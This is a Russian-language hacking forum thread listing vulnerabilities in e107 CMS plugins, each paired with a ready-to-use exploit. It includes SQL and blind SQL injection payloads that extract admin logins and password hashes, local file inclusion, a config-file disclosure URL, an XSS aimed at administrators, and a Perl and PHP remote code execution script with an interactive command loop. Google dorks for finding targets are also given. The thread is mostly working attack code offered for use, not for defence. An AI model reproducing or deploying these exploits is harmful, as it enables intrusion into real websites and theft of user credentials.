Старый 05.07.2010, 12:13   #1
RulleR
 
Аватар для RulleR
 
Регистрация: 04.07.2010
Сообщений: 39
Репутация: 58
По умолчанию Уязвимости e107 CMS и плагинов

Plugin name: Ajax Chat (download)
Version: 1.1

SQL injection

Vuln file: /e107_plugins/ajax_chat/w.php
PHP код:
/*...*/
    
require_once("../../class2.php");
/*...*/
    
$msg $_REQUEST["m"];
    
$msg htmlspecialchars(stripslashes($msg));

    
$n $_REQUEST["n"];
    
$n htmlspecialchars(stripslashes($n));
/*...*/
$sql->mySQLresult = @mysql_query("SELECT user_id FROM ".MPREFIX."user WHERE user_name='".$n."' ");

        
$capt $sql->db_Fetch();
        
        
$theid =$capt['user_id'];
/*...*/        
$n "<strong>&lt;<a style=\"text-decoration: none;\" href='../../user.php?id.".$theid."'>".$n."</a>&gt;</strong>";
/*...*/

# file: /class2.php

/*...*/
$inArray = array("'"";""/**/""/UNION/""/SELECT/""AS ");
if (
strpos($_SERVER['PHP_SELF'], "trackback") === false) {
    foreach(
$inArray as $res) {
        if(
stristr($_SERVER['QUERY_STRING'], $res)) {
            die(
"Access denied.");
        }
    }
}
/*...*/ 
Передаем параметр "n" постом, чтобы "хакерские слова" не попали в QUERY_STRING

Exploit:
Код:
POST http://[host]/[path]/e107_plugins/ajax_chat/w.php?m=xek HTTP/1.0
Content-type: application/x-www-form-urlencoded

n=' union select concat_ws(0x3a,user_loginname,user_password) from e107_user where user_id=1-- 
Note: Вывод наблюдаем по адресу http://[host]/[path]/e107_plugins/ajax_chat/chat.txt
Код:
<strong>&lt;<a style="text-decoration: none;" href='../../user.php?id.{user_loginname:user_password}'>
RulleR вне форума   Ответить с цитированием
Старый 05.07.2010, 12:17   #2
RulleR
 
Аватар для RulleR
 
Регистрация: 04.07.2010
Сообщений: 39
Репутация: 58
По умолчанию e107 Plugin [e107shop] Local File Inclusion Vulnerability

Plugin name: e107shop (download)
Version: 1.2.19

Local File Inclusion

Vuln file: /e107_plugins/e107shop/payment.php
PHP код:
<?php
/*...*/
$checkout .= e107shop_payment_forms($_POST["payment"], $grandTotal$_POST["customer_name"], $_POST["customer_last_name"], 
$_POST["customer_city"], $_POST["customer_state"], $_POST["customer_country"], $_POST["region"], 
$postage_price$_POST["customer_zip"], $_POST["customer_address1"] . "<br>" $_POST["customer_address2"], 
$_POST["customer_email"], $_POST["coupon"]);
/*...*/

# file: /e107_plugins/e107shop/library/payment_class.php

/*...*/
function e107shop_payment_forms($gateway$total$fname$lname$city
$state$country$region$postage$zip$address$email$coupon){
/*...*/
    // security traps
    
$gateway $tp->toDB($gateway);
/*...*/
    
$payment_text = require("gateways/".$gateway);
/*...*/

# file: /e107_handlers/e_parse_class.php

/*...*/
    
function toDB($data$nostrip false$no_encode false$mod false)
    {
        global 
$pref;
        if (
is_array($data)) {
            
// recursively run toDB (for arrays)
            
foreach ($data as $key => $var) {
                
$ret[$key] = $this -> toDB($var$nostrip$no_encode$mod);
            }
        } else {
            if (
MAGIC_QUOTES_GPC == TRUE && $nostrip == false) {
                
$data stripslashes($data);
            }
            if(isset(
$pref['post_html']) && check_class($pref['post_html']))
            {
                
$no_encode TRUE;
            }
            if (
$no_encode === TRUE && $mod != 'no_html')
            {
                
$search = array('$''"'"'"'\\''<?');
                
$replace = array('$','&quot;',''', '\', '&lt;?');
                $ret = str_replace($search, $replace, $data);
            } else {
                $data = htmlspecialchars($data, ENT_QUOTES, CHARSET);
                $data = str_replace('
\\', '\', $data);
                $ret = preg_replace("/&amp;#(\d*?);/", "&#\\1;", $data);
            }

            if(!check_class($pref['
php_bbcode']))
            {
                $ret = preg_replace("#\[(php)#i", "[\\1", $ret);
/*...*/
        return $ret;
    }
/*...*/
Exploit:
Код:
POST http://[host]/[path]/e107_plugins/e107shop/checkout.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded

payment=../../../../../[local_file]&pay=Proceed

Последний раз редактировалось RulleR; 12.07.2010 в 14:04..
RulleR вне форума   Ответить с цитированием
Старый 05.07.2010, 12:19   #3
RulleR
 
Аватар для RulleR
 
Регистрация: 04.07.2010
Сообщений: 39
Репутация: 58
По умолчанию e107 Plugin [Youtube Gallery] Blind SQL injection Vulnerability

Plugin name: Youtube Gallery (download)
Version: 4.01

Blind SQL injection

Vuln file: /e107_plugins/ytm_gallery/db.php
PHP код:
/*...*/
header("Cache-Control: no-cache");
header("Pragma: nocache");
require_once(
"../../class2.php");
/*...*/
$id_sent $_REQUEST['q'];
/*...*/
$query mysql_query("SELECT total_votes, total_value, used_ips FROM $rating_dbname.$rating_tableName WHERE id='$id_sent' ")or die(" Error: ".mysql_error());
/*...*/ 
Need: magic_quotes = off
Exploit:
Код:
POST http://[host]/[path]/e107_plugins/ytm_gallery/db.php HTTP/1.0
Content-type: application/x-www-form-urlencoded

q=' and (select+*+from+(select+count(*),concat((select concat_ws(0x3a,user_loginname,user_password) from e107_user where user_id=1),floor(rand(0)*2)) from e107_links group by 2)x)--
RulleR вне форума   Ответить с цитированием
Старый 05.07.2010, 12:22   #4
RulleR
 
Аватар для RulleR
 
Регистрация: 04.07.2010
Сообщений: 39
Репутация: 58
По умолчанию e107 Plugin [Alternate Profiles] File Disclosure Vulnerability

Plugin name: Alternate Profiles (download)
Version: 0.3

File Disclosure

Vuln file: /e107_plugins/alternate_profiles/stream.php
PHP код:
<?php 
ob_start
();
header("Expires: Mon, 20 Dec 1977 00:00:00 GMT");
header("Last-Modified: " gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0"false);
header("Pragma: no-cache");
header("Content-Type: audio/mpeg");
@
readfile($_GET["file"]);// ololo
ob_end_flush();
?>
Exploit:
Код:
http://[host]/[path]/e107_plugins/alternate_profiles/stream.php?file=../../e107_config.php
RulleR вне форума   Ответить с цитированием
Старый 05.07.2010, 12:26   #5
RulleR
 
Аватар для RulleR
 
Регистрация: 04.07.2010
Сообщений: 39
Репутация: 58
По умолчанию e107 Plugin [Torrent Tracker] SQL injection Vulnerability

Plugin name: Torrent Tracker (download)
Version: 1.06b4

SQL injection

Vuln file: /e107_plugins/tracker_menu/users.php
PHP код:
/*...*/
elseif($_GET["cntr"] == "info" || $_GET["cntr"] == "edit") {
if(
$_GET["uid"]) {
    
$uid $_GET["uid"];
    
$uname $e_users[0][$uid];
}
/*...*/
$numuser $sql -> db_Select("tracker_users""user_id,level,up,dl,passkey,actdate,lastdate,tentorr,lastipport""user_id = ".$uid);
/*...*/ 
Need: user account
Exploit:
Код:
http://[host]/[path]/e107_plugins/tracker_menu/users.php?cntr=info&uid=0+union+select+null,concat_ws(0x3a,user_loginname,user_password),null,null,null,null,null,null,null+from+e107_user+where+user_id=1--+
RulleR вне форума   Ответить с цитированием
Старый 05.07.2010, 12:31   #6
RulleR
 
Аватар для RulleR
 
Регистрация: 04.07.2010
Сообщений: 39
Репутация: 58
По умолчанию e107 Plugin [Kroozearcade] SQL injection Vulnerability

Plugin name: Kroozearcade (download)
Version: 8.0

SQL injection

#1
Vuln file: /e107_plugins/kroozearcade_menu/challenges.php
PHP код:
/*...*/
if (isset($_GET['details'])) {
$sql->mySQLresult = @mysql_query("SELECT * FROM ".MPREFIX."arcade_challenges WHERE id=".$_GET['details']."");
$row $sql->db_Fetch();
/*...*/ 
Need: user account
Exploit:
Код:
http://[host]/[path]/e107_plugins/kroozearcade_menu/challenges.php?details=0+union+select+null,null,null,null,null,null,concat_ws(0x3a,user_loginname,user_password),null,null,null,null,null,null+from+e107_user+where+user_id=1
#2
Vuln file: /e107_plugins/kroozearcade_menu/fav.php
PHP код:
/*...*/
if(isset($_GET['confirm'])) {
    
$sql->mySQLresult = @mysql_query("SELECT game_title FROM ".MPREFIX."arcade_games WHERE game_id=".$_GET['gameid']."");
    
$conf $sql->db_Rows();
/*...*/ 
Need: user account
Exploit:
Код:
http://[host]/[path]/e107_plugins/kroozearcade_menu/fav.php?confirm=xek&gameid=0+union+select+concat_ws(0x3a,user_loginname,user_password)+from+e107_user+where+user_id=1
RulleR вне форума   Ответить с цитированием
Старый 05.07.2010, 21:47   #7
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию e107 <= 0.7.20 remote code execute

e107 <= 0.7.20 remote code execute

Допилено из:

http://downloads.securityfocus.com/v...loits/40252.pl

Код:
use LWP::UserAgent;
my $path = $ARGV[0] or die("Usage: perl e107_phpbb.pl http://e107site/pathto/contact.php\n");
sub char_p($) {
         $str1=$_[0];
         $aa="";$bb="";
         for ($i = 0; $i<length($str1); $i++ ) {
             $aa =  ord(substr($str1,$i,1));
             if ( $i == 0 ) {$bb= "chr(" . $aa . ")";} else { $bb= $bb. ".chr(" . $aa . ")" ;}
         }
         return "$bb";
}
go();
sub go 
{
  while (1){
     print "Enter command - passthru(.....):\n";
     $choice = <STDIN>;
     chomp $choice;
     print "--------------------\n";
     print "Command: passthru($choice)\n";
     print "--------------------\n";
     $choice1 = char_p ($choice);
     my $load = "passthru($choice1)"; # Simple 'id' command. Put ur PHP payload here! :)
     # Remove comment for proxy support
     #my $proxy = 'http://127.0.0.1:8118/';
     #$ENV{http_proxy} = $proxy ? $proxy: 0;
     $ua = new LWP::UserAgent;
     $ua->agent("Mozilla/5.0");
     if ( $proxy ){
       print "[*] Using proxy $proxy \n";
       $ua->env_proxy('1');
     }
     my $req = new HTTP::Request POST => $path;
     $req->content_type('application/x-www-form-urlencoded');
     $req->content("send-contactus=1&author_name=%5Bphp%5D$load%3Bdie%28%29%3B%5B%2Fphp%5D");
     my $res = $ua->request($req);
     my $data = $res->as_string;
     if ( $data =~ /<td class=["']main_section['"]>(.*)/ ){
       $data = $1;
       print "$data\n";
       print "--------------------\n";
       print "done: passthru($choice)\n";
       print "--------------------\n";
     }else{
       print "$data\n";
       print "--------------------\n";
       print "done: passthru($choice)\n";
       print "--------------------\n";
     }
  }
}
Т.е. просто вводите например ls -la и видите результат, если не сработало - тогда юзаем сплойт ниже (или сразу его, чтобы проверить сначала), смотрим phpinfo() и видим disabled functions (на крутых сайтах постоянно встречается), думаем, что можно сделать с помощью php-кода:

PHP код:
<?
$url 
"http://site.com/contact.php";
$parse_url parse_url($url);
$path $parse_url["path"];
$host$parse_url["host"];
$code ='phpinfo();'#<=== Ваш php-код здесь
$data1 '[ php ]'.$code.'die();[ /php ]'#<=== В этой строчке удалите все пробелы
$data "send-contactus=1&author_name=send-contactus=1&author_name=".urlencode($data1);
$fp fsockopen($host80$errno$errstr30); 
if (
$fp){ 
  
$out "POST ".$path." HTTP/1.1\n"
  
$out .= "Host: ".$host."\n"
  
$out .= "Referer: ".$url."/\n"
  
$out .= "User-Agent: Opera\n"
  
$out .= "Content-Type: application/x-www-form-urlencoded\n"
  
$out .= "Content-Length: ".strlen($data)."\n\n"
  
$out .= $data."\n\n"
  
fputs($fp$out);
  while(
$gets=fgets($fp,2048)) { 
    print 
$gets
  } 
  
fclose($fp); 
}
?>
обычно доступны на запись:

/e107_files/public
/e107_files/public/avatars
/e107_files/cache

PS: Примечание - в некоторых случаях команды с пробелами вообще не работают, т.е. для первого варианта кода лучше юзать просто ls для начала
Pashkela вне форума   Ответить с цитированием
Старый 06.07.2010, 13:27   #8
Strilo4ka
Banned
 
Регистрация: 05.07.2010
Сообщений: 55
Репутация: 13
По умолчанию

Reputation v1.1

23:34 05-Feb-10

Blind SQL inj

Vuln file: /e107_plugins/reputation/reputation.php

PHP код:
...if($pref['reputation_show']) {
    if(
$_GET['list']) {
    
$user get_user_data($_GET['list']);

    
$repdb = new db();
    
$repdb->db_Connect($mySQLserver$mySQLuser$mySQLpassword$mySQLdefaultdb);

    
$repdb->db_Select("reputation""reputation_value""reputation_to_id='".$_GET['list']."'");

    while(
$trr $repdb->db_Fetch()) {
        
$total_rep $total_rep $trr['reputation_value'];
    }... 
У меня 5 мускуль.

Result:
http://[host]/[path]/e107_plugins/reputation/reputation.php?list=1'+and+substring(version(),1,1 )=5
общая репа выводиться!

http://[host]/[path]/e107_plugins/reputation/reputation.php?list=1'+and+substring(version(),1,1 )=4
общая репа не выводиться!

условие:
mg=off

пасивная XSS
- травим админа!

/e107_plugins/reputation/reputation.php
PHP код:
...<div style='margin: 4px; padding: 4px; border: 1px solid red; text-align: center;'>
                                            <
input type='hidden' name='repto' value='".$user['user_id']."' />
                                            <
input type='hidden' name='url' value='".$_POST["url_p"]."' />
                                            <
input type='hidden' name='repfrom' value='".USERID."' />
                                            <
input type='hidden' name='rand_num' value='".$sec_img->random_number."' />".$sec_img->r_image()."
                                            
<br />... 
http://[host]/[path]/e107_plugins/reputation/reputation.php?add=anything
постом шлем url_p=' /><script>alert(/XSS/)</script>

Там дальше может блинд есть в инсерте, только толку от него когда нет вывода ошибки.

ps CMS e107 http://[host]/[path]/comment.php - у меня пути были.
Strilo4ka вне форума   Ответить с цитированием
Старый 06.07.2010, 13:31   #9
Strilo4ka
Banned
 
Регистрация: 05.07.2010
Сообщений: 55
Репутация: 13
По умолчанию

YouTube Gallery 4.01

blind SQL inj


inurl:e107_plugins/ytm_gallery - в гугле

ytm.php в корене плагина
PHP код:
 ...if(isset($_GET['view']))
{
$view_movie $_GET['view'];
}... 
PHP код:
...$query06          "
SELECT movie_title, cat_name, cat_auth, input_user, timestamp FROM "
.MPREFIX."er_ytm_gallery_movies gm
LEFT JOIN "
.MPREFIX."er_ytm_gallery_category gg ON gm.movie_category = gg.cat_id
WHERE movie_code = '
$view_movie'";

$result06          mysql_query($query06);
while (
$row06      mysql_fetch_array($result06,MYSQL_ASSOC)) {... 
Ролик выводиться|нет(надо знать movie_code)!
http://e107/e107_plugins/ytm_gallery/ytm.php?view=OtfMIiinJso' and 1=1/* - true
http://e107/e107_plugins/ytm_gallery/ytm.php?view=OtfMIiinJso' and 1=0/* - false

У меня 5 ветка.

ytm.php- тот же файл

PHP код:
...if(isset($_GET['cat']))
{
$movie_cat $_GET['cat'];
}else{
$movie_cat $_POST['cat'];
}... 
PHP код:
...if ($movie_cat){

            
$query05        "SELECT cat_auth FROM ".MPREFIX."er_ytm_gallery_category WHERE cat_id = '$movie_cat'";
            
$result05       mysql_query($query05);
            while (
$row05   mysql_fetch_array($result05,MYSQL_ASSOC)) {
            
$check_auth     $row05['cat_auth'];}

            if(!
check_class($check_auth)) {

                        
$text .= LAN_YTM_PAGE_1;
                        
$ns->tablerender($ym_title $text);
                        require_once(
FOOTERF);
                        exit();... 
http://e107/e107_plugins/ytm_gallery/ytm.php?cat=1'+and+substring((select version()),1,1)=4--+
http://e107/e107_plugins/ytm_gallery/ytm.php?cat=1'+and+substring((select version()),1,1)=5--+ - true

Условие: mg=off
Strilo4ka вне форума   Ответить с цитированием
Старый 06.07.2010, 13:32   #10
Strilo4ka
Banned
 
Регистрация: 05.07.2010
Сообщений: 55
Репутация: 13
По умолчанию

AACGC BFBC2 Stats 1.5 09 May10 - добавлено!

гугл- inurl:e107_plugins/aacgc_bfbcstats

http://plugins.e107.org/e107_plugins...?artifact.757# - скачано

2-d order inj
Никаких условий.

1 принтабельное поле. В первом запросе 2 поля.
хексим и тулим в первый атрибут :

' union select 1,concat_ws(user_loginname,':',user_password),3,4, 5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,2 3,24,25,26,27,28,29,30,31 from e107_user limit 0,1--

0x2720756e696f6e2073656c65637420312c636f6e6361745f 777328757365725f6c6f67696e6e616d652c273a272c757365 725f70617373776f7264292c332c342c352c362c372c382c39 2c31302c31312c31322c31332c31342c31352c31362c31372c 31382c31392c32302c32312c32322c32332c32342c32352c32 362c32372c32382c32392c33302c33312066726f6d20653130 375f75736572206c696d697420302c312d2d20

Вот так:
http://e107/e107_plugins/aacgc_bfbcs...Details.php?.1 union select 0x2720756e696f6e2073656c65637420312c636f6e6361745f 777328757365725f6c6f67696e6e616d652c273a272c757365 725f70617373776f7264292c332c342c352c362c372c382c39 2c31302c31312c31322c31332c31342c31352c31362c31372c 31382c31392c32302c32312c32322c32332c32342c32352c32 362c32372c32382c32392c33302c33312066726f6d20653130 375f75736572206c696d697420302c312d2d20,2 from e107_user limit 0,1--

На выходе:
Цитата:
:admin21232f297a57a5a743894a0e4a801fc3 ()
Сори, ":" нетуда впихнул
Member_Details.php в корене плагина.
PHP код:
...require_once("../../class2.php");
require_once(
HEADERF);

if (
e_QUERY) {
        
$tmp explode('.'e_QUERY);
        
$action $tmp[0];
        
$sub_action $tmp[1];
        
$id $tmp[2];
        unset(
$tmp);
}

if (
$pref['bfbc_enable_gold'] == "1"){$gold_obj = new gold();}

//---------------------------------------------------------------

$title .= "Battlefield Bad Company 2 Member Details";

//---------------------------------------------------------------

$sql ->db_Select("user_extended""*""WHERE user_extended_id=$sub_action","");
$row $sql->db_Fetch();
$sql2 ->db_Select("user""*""WHERE user_id='".$row['user_extended_id']."'","");
$row2 $sql2->db_Fetch();

if (
$pref['bfbc_enable_gold'] == "1"){
$username "".$gold_obj->show_orb($row2['user_id'])."";}
else
{
$username "".$row2['user_name']."";}
if (
$pref['bfbc_enable_avatar'] == "1"){
if (
$row2['user_image'] == "")
{
$avatar "";}
else... 
Strilo4ka вне форума   Ответить с цитированием
Ответ

Метки
e107 cms, e107 cms vulnerabilities, уязвимости e107 cms

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра
Комбинированный вид Комбинированный вид

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot